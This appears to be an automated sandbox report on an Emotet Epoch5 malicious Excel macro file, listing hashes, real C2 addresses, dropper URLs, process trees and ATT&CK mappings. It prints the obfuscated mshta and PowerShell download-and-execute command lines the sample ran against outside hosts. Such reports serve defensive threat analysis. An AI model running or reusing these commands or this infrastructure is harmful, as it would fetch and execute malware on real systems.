emotet | 745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90

General

Target

745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm
Size

115KB
MD5

f00afd4f894ae4e0536dd0950e125b59
SHA1

cb54baba37c881782c0ef9b7cb378b37dd998902
SHA256

745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90
SHA512

cd07dd00b0a1615a480555ed2f9bc7b075782d084e512cf484e7f66705d06bf8b2059c6397bbff0396df70a58b9f5c7eff5204bc97741bc8e5e6ec16b2a4b6f4

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1240	2672	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

29 4060 mshta.exe
37 3920 powershell.exe
39 3920 powershell.exe
42 1412 rundll32.exe
43 1412 rundll32.exe
44 1412 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2372 rundll32.exe
632 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Tsldxjaclxmldsm\czeoi.sqg rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3880 4060 WerFault.exe mshta.exe

flow	pid	process
29	4060	mshta.exe
37	3920	powershell.exe
39	3920	powershell.exe
42	1412	rundll32.exe
43	1412	rundll32.exe
44	1412	rundll32.exe

pid	process
2372	rundll32.exe
632	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Tsldxjaclxmldsm\czeoi.sqg	rundll32.exe

pid	pid_target	process	target process
3880	4060	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2672 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3920	powershell.exe
3920	powershell.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3880	WerFault.exe
3920	powershell.exe
1412	rundll32.exe
1412	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3920 powershell.exe
Token: SeDebugPrivilege 3880 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	3880	WerFault.exe

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

EXCEL.EXE

pid	process
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2672 wrote to memory of 960	2672	EXCEL.EXE	splwow64.exe
PID 2672 wrote to memory of 960	2672	EXCEL.EXE	splwow64.exe
PID 2672 wrote to memory of 1240	2672	EXCEL.EXE	cmd.exe
PID 2672 wrote to memory of 1240	2672	EXCEL.EXE	cmd.exe
PID 1240 wrote to memory of 4060	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 4060	1240	cmd.exe	mshta.exe
PID 4060 wrote to memory of 3920	4060	mshta.exe	powershell.exe
PID 4060 wrote to memory of 3920	4060	mshta.exe	powershell.exe
PID 3920 wrote to memory of 2192	3920	powershell.exe	cmd.exe
PID 3920 wrote to memory of 2192	3920	powershell.exe	cmd.exe
PID 2192 wrote to memory of 2372	2192	cmd.exe	rundll32.exe
PID 2192 wrote to memory of 2372	2192	cmd.exe	rundll32.exe
PID 2192 wrote to memory of 2372	2192	cmd.exe	rundll32.exe
PID 2372 wrote to memory of 632	2372	rundll32.exe	rundll32.exe
PID 2372 wrote to memory of 632	2372	rundll32.exe	rundll32.exe
PID 2372 wrote to memory of 632	2372	rundll32.exe	rundll32.exe
PID 632 wrote to memory of 3496	632	rundll32.exe	rundll32.exe
PID 632 wrote to memory of 3496	632	rundll32.exe	rundll32.exe
PID 632 wrote to memory of 3496	632	rundll32.exe	rundll32.exe
PID 3496 wrote to memory of 1412	3496	rundll32.exe	rundll32.exe
PID 3496 wrote to memory of 1412	3496	rundll32.exe	rundll32.exe
PID 3496 wrote to memory of 1412	3496	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:960

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1240

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3920

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:2192

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2372

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tsldxjaclxmldsm\czeoi.sqg",zCaWBVvrN
8⤵
- Suspicious use of WriteProcessMemory
PID:3496

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tsldxjaclxmldsm\czeoi.sqg",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1412

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4060 -s 1664
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3880

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
aba34d4713318f41d80542af587fd288

SHA1
539dad8b9c00bce051ecb2611640894ced299d6c

SHA256
21c4238dac42a23d94e4aa45e91bb0c3be79bcb1a3894f3eed594d0b59888b55

SHA512
5169d1cc750c9a30a9aa334d24b5defbf10822d76185919b2c0bc11e1fddb7b6d23deb15f7128457985f3cf56dccebba46d710a657fada1bd28858a3be285755

Download Submit
\Users\Public\Documents\ssd.dll
MD5
aba34d4713318f41d80542af587fd288

SHA1
539dad8b9c00bce051ecb2611640894ced299d6c

SHA256
21c4238dac42a23d94e4aa45e91bb0c3be79bcb1a3894f3eed594d0b59888b55

SHA512
5169d1cc750c9a30a9aa334d24b5defbf10822d76185919b2c0bc11e1fddb7b6d23deb15f7128457985f3cf56dccebba46d710a657fada1bd28858a3be285755

Download Submit
\Users\Public\Documents\ssd.dll
MD5
aba34d4713318f41d80542af587fd288

SHA1
539dad8b9c00bce051ecb2611640894ced299d6c

SHA256
21c4238dac42a23d94e4aa45e91bb0c3be79bcb1a3894f3eed594d0b59888b55

SHA512
5169d1cc750c9a30a9aa334d24b5defbf10822d76185919b2c0bc11e1fddb7b6d23deb15f7128457985f3cf56dccebba46d710a657fada1bd28858a3be285755

Download Submit
memory/632-622-0x0000000005790000-0x00000000057B8000-memory.dmp

Filesize
160KB

Download
memory/632-612-0x0000000005620000-0x0000000005648000-memory.dmp

Filesize
160KB

Download
memory/632-610-0x00000000055C0000-0x00000000055E8000-memory.dmp

Filesize
160KB

Download
memory/632-608-0x0000000005560000-0x0000000005588000-memory.dmp

Filesize
160KB

Download
memory/632-606-0x0000000005480000-0x00000000054A8000-memory.dmp

Filesize
160KB

Download
memory/632-604-0x00000000053A0000-0x00000000053C8000-memory.dmp

Filesize
160KB

Download
memory/1412-627-0x0000000004EE0000-0x0000000004F08000-memory.dmp

Filesize
160KB

Download
memory/1412-625-0x0000000003530000-0x0000000003558000-memory.dmp

Filesize
160KB

Download
memory/2372-590-0x0000000004330000-0x0000000004358000-memory.dmp

Filesize
160KB

Download
memory/2672-129-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

Filesize
64KB

Download
memory/2672-115-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/2672-128-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

Filesize
64KB

Download
memory/2672-119-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/2672-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/2672-117-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/2672-116-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3920-533-0x0000012FE1210000-0x0000012FF93E0000-memory.dmp

Filesize
385.8MB

Download
memory/3920-477-0x0000012FE1210000-0x0000012FF93E0000-memory.dmp

Filesize
385.8MB

Download
memory/3920-414-0x0000012FE1210000-0x0000012FF93E0000-memory.dmp

Filesize
385.8MB

Download
memory/3920-340-0x0000012FF99C0000-0x0000012FF9A36000-memory.dmp

Filesize
472KB

Download
memory/3920-313-0x0000012FF9350000-0x0000012FF938C000-memory.dmp

Filesize
240KB

Download
memory/3920-275-0x0000012FE11C0000-0x0000012FE11E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads